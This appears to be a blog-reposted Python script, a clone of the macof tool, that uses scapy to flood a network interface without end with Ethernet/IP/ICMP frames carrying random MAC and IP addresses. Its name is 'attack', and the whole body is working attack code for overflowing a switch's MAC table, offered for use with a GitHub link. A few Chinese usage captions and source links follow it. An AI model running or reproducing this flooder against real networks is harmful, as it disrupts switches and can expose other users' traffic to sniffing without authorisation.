from scapy.all import *
import optparse
def attack(interface):
pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
sendp(pkt,iface=interface)
def main():
parser=optparse.OptionParser("%prog "+"-i interface")
parser.add_option(‘-i‘,dest=‘interface‘,default=‘eth0‘,type=‘string‘,help=‘Interface‘)
(options,args)=parser.parse_args()
interface=options.interface
try:
while True:
attack(interface)
except KeyboardInterrupt:
print(‘-------------‘)
print(‘Finished!‘)
if __name__==‘__main__‘:
main()
使用说明
开始程序
成功获取信息
github:https://github.com/zmqq/pytools/tree/master/macof
原文地址:https://www.cnblogs.com/zmqqq/p/10524780.html
时间: 2024-10-31 18:29:50